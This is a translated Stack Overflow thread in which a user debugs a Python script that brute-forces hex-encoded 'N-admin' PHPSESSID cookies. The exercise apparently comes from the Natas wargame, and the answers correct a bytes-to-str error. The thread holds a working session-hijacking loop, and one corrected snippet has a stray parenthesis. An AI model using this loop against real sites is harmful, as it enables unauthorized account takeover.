【问题标题】:Python Requests - Cookies errorPython 请求 - Cookie 错误
【发布时间】:2018-01-05 21:47:14
【问题描述】:

我试图通过发送随机 cookie 来强制会话,直到正确的 cookie 给我一个管理会话。我在 Windows 10 上使用 python 3.6。

我要使用的 cookie 是 PHPSESSID,我已将其设置为由“#-admin”组成的十六进制编码字符串。该网站提供了一个随机的十六进制编码的 PHPSESSID,但只有数字发生了变化(每次刷新后“-admin”都是一致的)。源代码将数字最大化为 640,因此范围。

代码如下:

for x in range(1,641):
    if x % 10 == 0:
        print (str(x) + ' Sessions Tested')
    cookies = dict(PHPSESSID=(binascii.hexlify(str(x).encode('ascii')+b'-admin')))
    r = requests.get(target, cookies=cookies)
    if r.text.find(trueStr) != -1:
        print ('Got it!')

在 windows 上运行脚本后我收到以下错误:

Traceback (most recent call last):
  File "natas19.py", line 14, in <module>
    r = requests.get(target, cookies=cookies)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\api.py", line 72, in get
    return request('get', url, params=params, **kwargs)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\api.py", line 58, in request
    return session.request(method=method, url=url, **kwargs)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\sessions.py", line 494, in request
    prep = self.prepare_request(req)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\sessions.py", line 415, in prepare_request
    cookies = cookiejar_from_dict(cookies)
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\cookies.py", line 518, in cookiejar_from_dict
    cookiejar.set_cookie(create_cookie(name, cookie_dict[name]))
  File "C:\Users\e403sa\AppData\Local\Programs\Python\Python36-32\lib\site-packages\requests-2.18.4-py3.6.egg\requests\cookies.py", line 345, in set_cookie
    if hasattr(cookie.value, 'startswith') and cookie.value.startswith('"') and cookie.value.endswith('"'):
TypeError: startswith first arg must be bytes or a tuple of bytes, not str

我不知道从哪里开始。我遵循了 python 请求的文档。任何关于在哪里寻找的建议将不胜感激。

【问题讨论】:

    标签: python python-3.x cookies python-requests


    【解决方案1】:

    Cookie 值必须是str 对象,但binascii.hexlify() 返回一个bytes 对象:

    >>> import binascii
    >>> x = 1
    >>> binascii.hexlify(str(x).encode('ascii')+b'-admin')
    b'312d61646d696e'
    

    先解码:

    cookies = {
        'PHPSESSID': binascii.hexlify(b'%d-admin' % x).decode('ascii')
    }
    

    【讨论】:

      【解决方案2】:

      在您的示例中,cookiesdict 设置:

      dict(PHPSESSID=(binascii.hexlify(str(x).encode('ascii') + b'-admin')))
      

      如果你把那条单线的步骤拆开,你会发现问题:

      >>> binascii.hexlify(str(x).encode('ascii') + b'-admin')
      b'312d61646d696e'
      >>> b'312d61646d696e'.startswith('3')
      Traceback (most recent call last):
        File "<stdin>", line 1, in <module>
      TypeError: startswith first arg must be bytes or a tuple of bytes, not str
      

      您正在使用str 第一个参数执行bytes 操作。由于它是 requests 包管理您的 cookie,因此在设置 PHPSESSID 之前将值转换为 str

      for x in range(1,641):
          if x % 10 == 0:
              print (str(x) + ' Sessions Tested')
          b_sess_id = binascii.hexlify(str(x).encode('ascii')+b'-admin'))
          cookies = dict(PHPSESSID=b_sess_id.decode())
          r = requests.get(target, cookies=cookies)
          if r.text.find(trueStr) != -1:
              print ('Got it!')
      

      【讨论】:

      • 感谢您的解释!我明白我做错了什么
      猜你喜欢
      • 2014-11-19
      • 2021-08-21
      • 1970-01-01
      • 1970-01-01
      • 2017-12-22
      • 2016-08-16
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多